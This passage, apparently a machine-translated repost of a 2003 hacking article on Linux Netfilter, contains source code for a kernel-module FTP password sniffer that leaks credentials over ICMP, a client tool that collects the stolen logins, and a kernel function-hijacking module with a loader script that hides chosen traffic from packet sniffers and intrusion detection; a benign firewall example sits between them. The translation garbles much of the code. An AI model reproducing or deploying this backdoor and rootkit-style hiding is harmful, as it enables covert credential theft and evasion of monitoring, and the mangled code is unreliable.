/ * NOW COPY THE IP Address, Then Username, Then Password INTO PACKET * / CP_DATA = (CHAR *) (CHAR *) ICMP SIZEOF (Struct ICMphdr)); Memcpy (CP_DATA, & TARGET_IP, 4); if (username) Memcpy (CP_DATA 4, Username, 16); if (Password) Memcpy (CP_Data 20, Password, 16); / * this is where things will dieiff cross ... * / dev_queue_xmit SB); / * Now free the saved username and password and reset Have_pair * / kfree (username); kfree (password); username = password = null; has_pair = 0; target_port = target_ip = 0;

// Printk ("Password Retrieved / N"); Return Nf_Stole;

int init_module () {pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_IP_PRE_ROUTING; post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = Nf_IP_POST_ROUTING; NF_REGISTER_HOOK (& pre_hook); nf_register_hook; return 0;}

Void cleanup_module () {nf_unregister_hook (& post_hook); NF_UNREGISTER_HOOK (& PRE_HOOK); if (password) KFree (PASSWORD); if (username) kfree (Username);} <->

------ [5.2.2 - Source code: getpass.c

< > nfsniff / getpass.c / * getpass.c -. Simple utility to get username / password pair from * the Netfilter backdoor FTP sniffer Very kludgy, but effective * Mostly stripped from my source for InfoPig ** Written by.. Bioforge - March 2003 * /

#include #include #include #include #include #include #include #include #include

#ifndef __USE_BSD # define __USE_BSD / * We want the proper headers * / # endif # include #include / * Function prototypes * / static unsigned short checksum (int numwords, unsigned Short * buff);

INT main (int Argc, char * argv []) {unsigned char DGRAM [256]; / * Plenty for a ping database * / unsigned char recvbuff [256]; struct ip * iphead = (struct IP *) DGRAM; Struct ICMP * icmphead = (struct icmp *) (dgram sizeof (struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof (struct sockaddr_in); int icmp_sock = 0; int one = 1; int * ptr_ONE = & one; if (argc <3) {fprintf (stderr, "usage:% s remoteip myip / n", argv [0]); exit (1);}

/ * GET A Socket * / IF ((ICMP_SOCK = Socket (PF_INET, SOCK_RAW, IPPROTO_ICMP)) <0) {FPrintf (stderr, "couldn't open roenet!% S / n", strerror (errno)); EXIT (1);}

/ * Set the HDR_INCL option on the socket * / if (setsockopt (icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof (one)) <0) {close (icmp_sock);! Fprintf (stderr, "Could not set HDRINCL option% S / N ", strerror (errno)); exit (1);} addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr (argv [1]); my_addr.s_addr = inet_addr (Argv [2]); MEMSET (DGRAM, 0x00, 256); MEMSET (Recvbuff, 0x00, 256); / * Fill in the ip fields first * / ipHead-> ip_hl = 5; ipHead-> ip_v = 4; ipHead-> ip_tos = 0; iphead- > ip_len = 84; ipHead-> ip_id = (unsigned short) rand (); ipHead-> ip_off = 0; ipHead-> ip_ttl = 128; ipHead-> ip_p = ipproto_icmp; ipHead-> ip_sum = 0; ipHead-> ip_src = my_addr; iphead-> ip_dst = addr.sin_addr; / * Now fill in the ICMP fields * / icmphead-> icmp_type = ICMP_ECHO; icmphead-> icmp_code = 0x5B; icmphead-> icmp_cksum = checksum (42, (unsigned short *) ICMPHEAD; / * FINALLY, SEND The Packet * / fprintf (stdout, "sending request ... / n"); if (sendto (ICMP_SOCK, DGRAM, 84, 0, (Struct Sockaddr *) & Addr, SIZEOF (Struct SockAddr )) <0) {FPRINTF (stderr, "/ nfai LED sending request!% s / n ", strrror (errno)); return 0;}

FPrintf (stdout, "waiting for reply ... / n"); if (Recvfrom (ICMP_SOCK, RECVBUFF, 256, 0, (Struct SockAddr *) & src, & src_addr_size) <0) {fprintf (stdout, "failed getting reply packet !% s / n ", strerror (errno); Close (ICMP_SOCK); EXIT (1);} ipHead = (struct IP *) Recvbuff; icmphead = (struct ICMP *) (RECVBUFF SIZEOF (Struct IP)); Memcpy (& Serv_addr, (CHAR *) ICMPHEAD 8), SIZEOF (STRUCT IN_ADDR)); FPRINTF (stdout, "stolen for ftp server% s: / n", inet_ntoa (serv_addr)); FPRINTF (stdout, "Username: % S / N ", (Char *) ((char *) ICMPHEAD 12)))); FPRINTF (stdout," password:% s / n ", (char *) ((char *) ICMPHEAD 28); Close (ICMP_SOCK); RETURN 0;} / * checksum-generation function. it is already ping'ed Machines don't * reply to pings with invalid (IE. Empty) ICMP Checksum Fields ... * Fair Enough i Guess. * / static unsigned short checksum (int numwords, unsigned short * buff) {unsigned long sum; for (sum = 0; numwords> 0; numwords -) sum = * buff ; / * add next word, then increment pointer * / sum = (SUM >> 16) (SUM & 0xFFF); SUM = (SUM >> 1 6); Return ~ SUM;} <->

** Translation: Makefile of the above two files:

< > nfsniff / makefile # makefile # cflags = -wall libs = -l / usr / lib -lc # Change include Directory for Your kernel module_cflags = -i / usr / src / custom / linux-2.4.18-3 / include MODULE_CFLAGS = $ (CFLAGS) EXECUTE_CFLAGS = -ggdb EXECUTE_CFLAGS = $ (CFLAGS) all: nfsniff.o getpass nfsniff.o: nfsniff.c gcc -c nfsniff.c -o nfsniff ~ .o $ (MODULE_CFLAGS) ld -r - o Nfsniff.o nfsniff ~ .o $ (lib) getpass.o: getpass.c gcc -c getpass.c $ (execute_cflags) getpass: getpass.o gcc -o getpass getPass.o $ (Execute_cflags) Clean: RM -F * .o getpass <-> ** Translation

- [6 - Hide network communication in LibPCAP

This section brief description, how to modify the Linux kernel, enabling network communication with the predefined defined criteria to sniffing tools to the local data package sniffing tool. The last thing column is the code that can be run, it implements the function of hiding all the packets from or going to the specified IP address. Ok, let's start ...---- [6.1 - sock_packet, SOCK_RAW and LIBPCAP

For system administrators, the most useful software is more software that is called "packet sniffer" in broad classification. Two most typical general packet sniffer are tcpdump (1) and ETHEREAL (1). Both software use the libpcap library (with TCPDUMP release in References [1]) to grab the original packet. The network intrusion detection system (NIDS) also uses the libpcap library. Snort requires libpcap, libnids - a NIDS development library that provides IP recombination and TCP stream tracking (see References [2]), is also true. Under the Linux system, the libppcap library uses the SOCK_PACKET interface. Packet socket is a special socket that can be used to happen and receive the original packet of the link layer. About PakeT sockets have a lot of topics, but because this section discusses how to hide them rather than how to use them, interested readers can go directly to the Packet (7) handbook. For discussion among this article, you only need to understand that the Packet socket is used by the libpcap application to get the original packet of entering or departing the local host. When the core network stack receives a packet, check if the packet is a packet of Packet socket. If so, the data is submitted to those that are interested in it. If not, the packet continues its journey, enters TCP, UDP, or other types of sockets. The same is true for the socket type of the SOCK_RAW type. The original socket is very similar to the Packet socket, but the original socket does not provide a chain header. An example of a utility that uses the original socket is my SYNALERT program, see References [3] (please forgive me for inserting the topic here :). At this point, you should have learned that the packet sniffing software under Linux uses the libpcap library. LibPCap Using the Packet Sockets in Linux to get the original packet containing the link layer header. At the same time, the original socket is mentioned, which provides a method of applying the user space to obtain a packet containing the IP header. The next section will discuss how to hide network communications from these Packet sockets and original sockets through the Linux core module. ------ [6.2 to the wolf put on the sheepskin

When a packet is received and sent to a packet socket, the packet_rcv () function is called. This function can be found in Net / Packet / AF_PACKET.C, and packet_rcv () is responsible for making packets through all socket filters applied to the destination socket, and finally submit it to the user space. In order to hide packets from the Packet socket, we need to block all specific data packets from calling the packet_rcv () function. How do we do this? Of course, it is an excellent OL function hijacked. The basic operation of the function hijacker is: If we know a kernel function, even those that are not exported, the entry address, we can relocate this function to other locations before running the actual code. In order to achieve this, we must first save its original command bytes from this function, and then replace them to jump to the absolute jump instructions performed at our code. The operation is implemented as follows: MOVL (address of out),% Eaxjmp * EAX 16-en-code code is as follows (assuming our function address is 0): 0xB8 0x00 0x00 0x00 0x000xff 0xe0

If we replace the function addresses in the previous example to the address of our hook function when we initialize the Linux core module, we can make our hook function to run. When we want to run the original function, we only need to recover the original instructions at the beginning, call the function and replace our hijack code. Simple and effective. Silvio Cesare has been written in a post, telling how to implement the kernel function, see References [4]. To hide the packet from the Packet socket, we must first write a hook function to check if the packet meets our hidden standards. If satisfied, then our hook function returns 0 to its call function, and packet_rcv () will never be called. If packet_rcv () will never be called, this packet will never be submitted to the Packet socket of the user space. Note that the packet is discarded for the "packet" socket. If we want to filter the FTP packet sent to the Packet socket, the FTP server's TCP socket can still receive these packets. Everything we do is just to make the sniffing software running in this unit can't see these packets. The FTP server is still able to handle and record connections. Theoretically, so much, the usage of the original socket can be obtained. Different is that we need hook is the RAW_RCV () function (found in Net / IPv4 / Raw.c). The next section will give and discuss the sample code of a Linux core module, which hijaches the packet_rcv () function and the RAW_RCV () function, hides any packets from or to our designated IP address.

- [7 - Conclusion

I hope that you have a preliminary understanding of Netfilter now, how to use it and what you can use. You should also have some knowledge that makes specific network communications from running in the sniffing software of this unit. If you need a TAR package of the source code involved in this article, please send me email. I am also happy to receive any correct, criticism, or suggestions. Ok, leave everything to you and your imagination, and do something interesting to show here!

- [A - Lightweight firewall ---- [A.1 - Overview

Lightweight Firewall (LWFW) is a simple kernel module to demonstrate our basic packet overchatrip technology involved in Section 4.. LWFW also provides a control interface through the IOCTL () system call. Since the source code of LWFW has already had enough documents, I only give it a simple overview of how it works here. When the LWFW module is loaded, its first task is to try registration control settings. Note You need to create a character device file under / dev before the IOCTL () control interface of the LWFW. If the control device is successfully registered, the "In Use" flag is cleared and the function of the NF_IP_PRE_ROUTE is registered. Clear the function to perform the opposite operation. LWFW provides three basic options for packet discarding. The following sequence is listed in the order: - Source Interface - Source IP Address - Destination TCP Port These rules are completed by the IOCTL () interface. When a packet is received, the LWFW checks according to the rules we set. If you match any of these rules, the hook function will return nf_drop, then Netfilter will quietly discard this packet. Otherwise, the hook function returns NF_ACCEPT, and the packet will continue its journey. Finally, it is necessary to mention the statistical log of LWFW. No matter where the packet enters the Hook function, the LWFW will accumulate the number of packets received. A separate rule check function is responsible for adding their respective discarding packets. Note that when the value of the rule is changed, the count of its discarding packet is reset to 0. The LWFWStats program uses LWFW_GET_STATS this IOCTL to get a copy of the statistics structure and display its content. ---- [A.2 - Source code: lwfw.c

< > LWFW / LWFW.C / * LIGHT-Weight Fire Wall. Simple FireWall Utility Based on * Netfilter for 2.4. Designed for Educational Purposes. * * Written Bioforge - March 2003. * /

#define module # define __kernel__

#include #include #include #include #include #include #include #include #include #include #include # INCLUDE #include

#include #include

#include "lwfw.h"

/ * Local function prototypes * / static int set_if_rule (char * name); static int set_ip_rule (unsigned int ip); static int set_port_rule (unsigned short port); static int check_ip_packet (struct sk_buff * skb); static int check_tcp_packet (struct sk_buff * skb); static int copy_stats (struct lwfw_stats * statbuff);. / * Some function prototypes to be used by lwfw_fops below * / static int lwfw_ioctl (struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg) static int LWFW_Open (Struct Inode * inode, Struct File * file); static int LWFW_RELEASE (Struct Inode * Inode, Struct File * file);

/ * Various flags buy by the module * // * this flag makess sure what online. * / Static int LWFW_cTRL_USE = 0;

/ * This flag marg marks WHETHER LWFW SHOULD ACTUALLY Attempt Rule Checking. * Ife is Zero the lwfw automatic allows all packets. * / Static int Active = 0;

/ * Specifies options for the lwfw module * / static unsigned int LWFW_OPTION = (LWFW_IF_DENY_ACTIVE | LWFW_IP_DENY_ACTIVE | LWFW_PORT_DENY_ACTIVE);

Static int major = 0; / * Control Device Major Number * /

/ * This struct will describe ot hook procedure. * / Struct nf_hook_ops nfkiller

/ * Module Statistics Structure * / Static Struct LWFW_STATS LWFW_STATISTICS = {0, 0, 0, 0, 0};

. / * Actual rule 'definitions' * // * TODO: One day LWFW might actually support many simultaneous rules * Just as soon as I figure out the list_head mechanism ... * / static char * deny_if = NULL; / * Interface. To Deny * / static unsigned int de Nep = 0x00000000; / * ip address to deny * / static unsigned short deny_port = 0x0000; / * TCP port to deny * /

/ * * This is the interface device's file_operations structure * / struct file_operations lwfw_fops = {NULL, NULL, NULL, NULL, NULL, NULL, lwfw_ioctl, NULL, lwfw_open, NULL, lwfw_release, NULL / * Will be NULL'ed from here. .. * /}; Module_author ("Bioforge"); Module_Description ("Light-Weight FireWall for Linux 2.4");

/ ** This is the function that will be called by the hook * / unsigned int lwfw_hookfn (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {unsigned int ret = NF_ACCEPT; / * If LWFW is not currently active, immediately return ACCEPT * / if (active) return NF_ACCEPT;! lwfw_statistics.total_seen ; / * Check the interface rule first * / if (deny_if && DENY_IF_ACTIVE ) {if (strcmp (in-> name, deny_if) == 0) {/ * Deny this interface * / lwfw_statistics.if_dropped ; lwfw_statistics.total_dropped ; return NF_DROP;}} / * Check the IP address rule * / if (deny_ip && DENY_IP_ACTIVE) {ret = check_ip_packet (* skb); if (ret = NF_ACCEPT) return ret;!} / * Finally, check the TCP port rule * / if (deny_port && DENY_PORT_ACTIVE) {ret = check_tcp_packet (* skb); if (RET! = nf_accept) Return Ret;} return nf_accept; / * we are happy to keep the packet * /}

/ * Function to copy the lwfw statistics to copy the lwfw statistics to copy_stats (struct lwfw_stats * statbuff) {null_check (statbuff);

COPY_TO_USER (statbuff, & lwfw_statistics, sizeof (struct lwfw_stats); Return 0;

/ * Function that compares a received TCP packet's destination port * with the port specified in the Port Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. * / Static int check_tcp_packet (struct sk_buff * skb) {/ * seperately defined pointers to header structures are used * to access the TCP fields because it seems that the so-called * transport header from skb is the same as its network header TCP packets. * If you do not believe Me Then Print The Addresses of SKB-> NH.IPH * and SKB-> H.th. * It Would Have Been Nicer if The Network Header Only Was IP and * The Transport Header Was TCP But What CAN You do? * / Struct TCPHDR * THEAD; / * We don't want any null pointers in the chain to the tcp header. * / if (! SKB) RETURN NF_ACCEPT; if (! (SKB-> NH.IPH)) Return nf_accept; / * be Sure this is a tcp packet first * / if (skb-> nh.iph-> protocol! = ipproto_tcp) {return nf_accept;}

THEAD = (SKB-> DATA (SKB-> NH.IPH-> IHL * 4))); / * Now check the destination port * / if ((THEAD-> DEST) == DENY_PORT) { / * Update statistics * / lwfw_statistics.total_dropped ; lwfw_statistics.tcp_dropped ; return nf_drop;} return nf_accept;}

/ * Function that compares a received IPv4 packet's source address * with the address specified in the IP Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. * / Static int check_ip_packet (struct sk_buff * SKB) {/ * We don't want any null pointers in the chain to the ip header. * / if (! SKB) RETURN NF_ACCEPT; if (! (SKB-> NH.IPH)) Return nf_accept; if (SKB -> nh.iph-> saddr == deny_ip) {.. / * Matches the address Barf * / lwfw_statistics.ip_dropped ; / * Update the statistics * / lwfw_statistics.total_dropped ; return NF_DROP;} return NF_ACCEPT;} static int set_if_rule ( Char * name) {int RET = 0; char * if_dup; / * duplicate interface * /// * Make Sure the name is non-null * / null_check (name); / * free any previously saved interface name * / if (deny_if) ) {kfree (deny_if); deny_if = null;} if ((if_dup = kmalloc (strlen (CHAR *) NAME) 1, GFP_kernel) == null) {RET = -EmbhenMem;} else {MEMSET (if_dup, 0x00, Strlen ((char *) Name) 1); Memcpy (if_dup, (char *) Name, Strlen ((char *) Name); }

DENY_IF = if_dup; lwfw_statistics.if_dropped = 0; / * Reset Drop Count for if Rule * / Printk ("LWFW: set to deny from interface:% s / n", deny_if); return ret;}

Static int set_ip_rule (unsigned INT IP) {deny_ip = IP; lwfw_statistics.ip_dropped = 0; / * reset Drop Count for ip rule * / printk ("LWFW: set to de den":% d.% d.% d. % D / N ", IP & 0x000000FF, (IP & 0x0000FF00) >> 8, (IP & 0x00FF0000) >> 16, (IP & 0xFF000000) >> 24); Return 0;

Static int set_port_rule (unsigned short port) {deny_port = port; lwfw_statistics.tcp_dropped = 0; / * reset Drop Count for TCP Rule * / Printk ("LWFW: set to deny for tcp port:% d / n", ((Port) & 0xff00) >> 8 | (Port & 0x00FF) << 8)); return 0;} / *********************************** ****************** / / * * File Operations Functions for Control Device * / Static Int LWFW_IOCTL (Struct Inode * Inode, Struct File * file, unsigned int cmd, unsigned long Arg) {int RET = 0; Switch (cmd) {case lwfw_get_vers: return lwfw_vers; case lwfw_activate: {active = 1; Printk ("lwfw: activated./n" );if (! denY_IF &&! deny_ip&&! deny_port) {Printk ("LWFW: No Deny Options Set./n" "; }break;}}}}} ^ ^ = Active; Printk (" LWFW: deActivated./N "; Break;}: ​​{Ret = copy_stats ((struct lwfw_stats *) arg); break;} case LWFW_DENY_IF: {ret = set_if_rule ((char *) arg); break;} case LWFW_DENY_IP: {ret = set_ip_rule ((unsigned int) arg); break;} case LWFW_DENY_PORT: {RET = set_port_rule (UNSIGNED SHORT) - ARG; Break;} Default: Ret = -eb ADRQC;}; Return Ret;

/ * Called whenever open () is called on the device file * / static int lwfw_open (struct inode * inode, struct file * file) {if (lwfw_ctrl_in_use) {return -EBUSY;} else {MOD_INC_USE_COUNT; lwfw_ctrl_in_use ; return 0;} Return 0;}

/ * Called whenever close () is called on the device file * / static int lwfw_release (struct inode * inode, struct file * file) {^ = lwfw_ctrl_in_use lwfw_ctrl_in_use; MOD_DEC_USE_COUNT; return 0;}

/ ************************************************************************** / / ********* // ** Module initialisation and cleanup follow ... * / int init_module () {/ * Register the control device, / dev / lwfw * / SET_MODULE_OWNER (& lwfw_fops); / * Attempt to register the LWFW control device * / if ((major = register_chrdev (LWFW_MAJOR, LWFW_NAME, & LWFW_FOPS)) <0) {Printk ("LWFW: Failed Registering Control Device! / N"); Printk ("LWFW: Module Installation Aborted./N"; Return Major;} / * make Sure THE usage marker for the control device is cleared * / lwfw_ctrl_in_use ^ = lwfw_ctrl_in_use; printk ( "/ nLWFW: Control device successfully registered./n");/* Now register the network hooks * / nfkiller.hook = lwfw_hookfn; nfkiller.hooknum = NF_IP_PRE_ROUTING; / * First stage hook * / nfkiller.pf = PF_INET; / * IPV4 protocol hook * / nfkiller.priority = NF_IP_PRI_FIRST; / * Hook to come first * // * And register ... * / nf_register_hook (& nfkiller); Printk ("LWFW: NetWork Hooks SuccessFully Installed./N" :printk ("LWFW: Module Installation Successful./N ";Return 0;}

Void cleanup_module () {int R; / * Remove IPv4 hook * / nf_unregister_hook (& nfkiller);

/ * Now unregister control device * / if ((Ret = unregister_chrdev (lwfw_major, lwfw_name))! = 0) {Printk ("LWFW: Removal of Module Failed! / N");}

/ * If anything, free it, ket, free it, f k (deny_if); deny_if); Printk ("LWFW: Removal of Module Successful./N");} <->

---- [A.3 - Header file: lwfw.h

.. < > lwfw / lwfw.h / * Include file for the Light-weight Fire Wall LKM * * A very simple Netfilter module that drops backets based on either * their incoming interface or source IP address * * Written by bioforge - March 2003 * /

#ifndef __LWFW_INCLUDE __ # define __LWFW_INCLUDE __ / * NOTE: The LWFW_MAJOR symbol is only made available for kernel code * Userspace code has no business knowing about it * / # define LWFW_NAME "lwfw"..

/ * Version of LWFW * / # define lwfw_vers 0x0001 / * 0.1 * /

/ * Definition of the lwfw_talkative symbol controls WHETAL LWFW WILL * Print Anything with printk (). This is incrint for debugging purposes. * / # Define lwfw_talkative

/ * These are the IOCTL codes used for the control device * / # define LWFW_CTRL_SET 0xFEED0000 / * The 0xFEED ... prefix is ​​arbitrary * / # define LWFW_GET_VERS 0xFEED0001 / * Get the version of LWFM * / # define LWFW_ACTIVATE 0xFEED0002 # define LWFW_DEACTIVATE 0xfeed0003 # Define LWFW_GET_STATS 0XFEED0004 # Define LWFW_DENY_IF 0XFEED0005 # Define LWFW_DENY_IP 0xfeed0006 # define lwfw_de_port 0xfeed0007

/ * Control Flags / Options * / # define LWFW_IF_DENY_ACTIVE 0X00000001 # Define LWFW_IP_DENY_ACTIVE 0X00000002 # Define LWFW_Port_Deny_active 0x00000004

. / * Statistics structure for LWFW * Note that whenever a rule's condition is changed the related * xxx_dropped field is reset * / struct lwfw_stats {unsigned int if_dropped;. / * Packets dropped by interface rule * / unsigned int ip_dropped; / * Packets dropped . by IP addr rule * / unsigned int tcp_dropped; / * packets dropped by TCP port rule * / unsigned long total_dropped; / * Total packets dropped * / unsigned long total_seen; / * Total packets seen by filter * /};

/ * * From here on is buydely for the actual kernel module * / # ifdef __kernel __ # define lwfw_major 241 / * this exists in the experimental range * /

/ * This macro is used to prevent dereferencing of null pointer. If * a pointer argument is null for accessing options * / # define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE) #define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE) #define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#ENDIF / * __KERNEL__ * / # Endif <->

< > LWFW / Makefilecc = Egcscflags = -wall -o2objs = lwfw.o

.c.o: $ (cc) -c $ <-o $ @ $ (cflags)

All: $ (OBJS)

Clean: rm -rf * .orm -rf. / * ~ ->

- [B - Source code in Section 6

Here is a simple module that hijaches the packet_rcv () and the RAW_RCV () function to hide the packets from or to the IP address we specify. The default IP address is set to 127.0.0.1, but it can be changed by changing the value of #define IP. There is also a Bash script that uses the entry address of the required function from the System.map file, and uses these addresses as parameters to run the Insmod command in need. This load script is written by GREM. Originally used in my MOD-OFF project, it is easy to modify it to make it suitable for the modules given here. Thanks again. GREM. The given module is only a principle code, and there is no way to hide any module. Remember, although the module hides in the sniffer from the unit, the sniffer on another host on the same local area can still see these packets. From the contents listed in this module, smart readers can find all things needed when designing a filter function that blocks any kind of packets. I have successfully used the technology mentioned in the article to hide the controls and information used in my Linux core module project to obtain packets.

< > pcaphide / pcap_block.c / * Kernel hack that will hijack the packet_rcv () function * which is used to pass packets to Libpcap applications * that use PACKET sockets. Also hijacks the raw_rcv () * function. This is used to Pass Packets to Applications * That Open Raw Sockets. * * Written by Bioforge - 30th June, 2003 * /

#define module # define __kernel__

#include #include #include #include #include #include #include / * for struct ip * / # include / * for eth_p_ip * / # include / * for point_offset * /

/ * * Ip address to hide 127.0.0.1 in nbo for intel * / # define ip HTONL (0x7f000001)

/ * Function pointer for original packet_rcv () * / static int (* pr) (struct sk_buff * skb, struct net_device * dev, struct packet_type * pt); MODULE_PARM (pr, "i"); / * Retrieved as insmod parameter * /

/ * Function Pointer for Original Raw_rcv () * / Static Int (* RR) (Struct Sock * SK, STRUCT SK_BUFF * SKB); Module_Parm (RR, "I");

/ * Spinlock Used for the Parts Where We un / hijack packet_rcv () * / static spinlock_t hijack_lock = spin_lock_unlocked;

/ * Helper macros for use with the Hijack spinlock * / # define HIJACK_LOCK spin_lock_irqsave (& hijack_lock, / sl_flags) #define HIJACK_UNLOCK spin_unlock_irqrestore (& hijack_lock, / sl_flags)

. #Define CODESIZE 10 / * Original and hijack code buffers * Note that the hijack code also provides 3 additional * bytes (inc eax; nop; dec eax) to try and throw * simple hijack detection techniques that just look for * a move and a jump. * // * for packet_rcv () * / static unsigned char pr_code [CODESIZE] = "/ xb8 / x00 / x00 / x00 / x00" "/ x40 / x90 / x48" "/ xff / xe0"; static unsigned CHAR PR_ORIG [CODESIZE];

/ * For raw_rcv () * / static unsigned char r_code [CODESIZE] = "/ xb8 / x00 / x00 / x00 / x00" "/ x40 / x90 / x48" "/ xff / x90"; static unsigned char r_orig [CODESIZE] ;

/ * Replacement for packet_rcv (). This is currently setup to hide * all packets with a source or destination IP address that we * specify. * / Int hacked_pr (struct sk_buff * skb, struct net_device * dev, struct packet_type * pt) { INT SL_FLAGS; / * flags for spinlock * / int RetVal; / * check if this is an ip packet going to or coming from ip Packet Going to OR COMING, * HIDDEN IP Address. * / if (SKB-> Protocol == Htons (Eth_P_IP)) / * IP packet * / if (SKB-> NH.IPH-> SADDR == ip || SKB-> nh.iph-> DADDR == IP) Return 0; / * ignore this packet * // * call Original * / hijack_lock Memcpy ((char *) PR, Pr_ORIG, CODESize; RETVAL = Pr (SKB, DEV, PT); Memcpy ((char *) PR, Pr_code, CODESize; hijack_unlock;

Return RetVal;

. / * Replacement for raw_rcv () This is currently setup to hide * all packets with a source or destination IP address that we * specify * / int hacked_rr (struct sock * sock, struct sk_buff * skb) {int sl_flags;. / * Flags for spinlock * / int RetVal;

/ * Check if this is an ip packet going to or coming from ip, hidden ip address. * / If (SKB-> protocol == htons (eth_p_ip)) / * ip packet * / if (SKB-> NH.IPH- > SADDR == ip || SKB-> NH.IPH-> DADDR == IP) Return 0; / * ignore this packet * // * Call Original * / hijack_lock; memcpy ((char *) RR, RR_ORIG, CODESIZE) RetVal = RR (SOCK, SKB); Memcpy ((char *) RR, RR_CODE, CODESize; hijack_unlock;

Return RetVal;

int init_module () {int sl_flags;. / * Flags for spinlock * // * pr & rr set as module parameters If zero or

< > PCAPHIDE / LOADER.SH #! / bin / sh # Written by Grem, 30th June 2003 # Hacked by Bioforge, 30th June 2003

IF ["$ 1" = ""]; thenecho "USE: $ 0 "; exit; fi

Map = "$ 1" Pr = `Cat $ map | grep -w" packet_rcv "| cut -c 1-16`rr =` cat $ map | grep -w "Raw_rcv" | cut -c 1-16`

IF ["$ PR" = ""] ;1npr = "000000" FIF ["$ RR" = ""]; inside = "00000000" Fi

Echo "Insmod PCAP_BLOCK.O PR = 0x $ Pr RR = 0x $ RR"

# Now do the actual call to insmodinsmod pcap_block.o pr = 0x $ PR = 0x $ rR <->

< > pcaphide / makefilecc = gcccflags = -wall -o2 -fomit-frame-pointerincludes = -i / usr / src / linux / includeobjs = PCAP_BLOCK.OCO: $ (CC) -c $ <-O $ @ $ ( Cflags $ (Includes)

All: $ (OBJS)

Clean: rm -rf * .orm -rf. / * ~ ->

------[ references

The appendix contains a list of references used in this process.

[1] The tcpdump grouphttp://www.tcpdump.org [2] the packet factoryhttp://www.packetfactory.net [3] my network tools page -http: //uqconnect.net/ ~zoklan/software/# NET_TOOLS [4] Silvio Cesare's Keernel Function Hijacking ArticleHttp: //vx.netlux.org/lib/vsc08.html [5] Man Pages for: - RAW (7) - Packet (7) - TCPDUMP (1) [6] Linux Kernel Source Files. in Particular: - Net / Packet / AF_PACKET.C (for packet_rcv ()) - NET / IPv4 / Raw.c (for Raw_rcv ()) - NET / CORE / Dev.c- Net / IPv4 / Netfilter / * [7] Harald Welte's Journey of a packet through the Linux 2.4 networkstackhttp: //gnumonks.org/ftp/pub/doc/packet-journey-2.4.html [8] The Netfilter documentation pagehttp: //www.netfilter.org / Documentation [9] Phrack 55 - File 12 - http://www.phrack.org/show.php? p = 55 & a = 12 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al. [b] Inside THE Linux Packet Filter. A Linux journal Articlehttp://www.linuxjournal.com/Article.php? SID = 4852

转载请注明原文地址:https://www.9cbs.com/read-16385.html

New Post(0)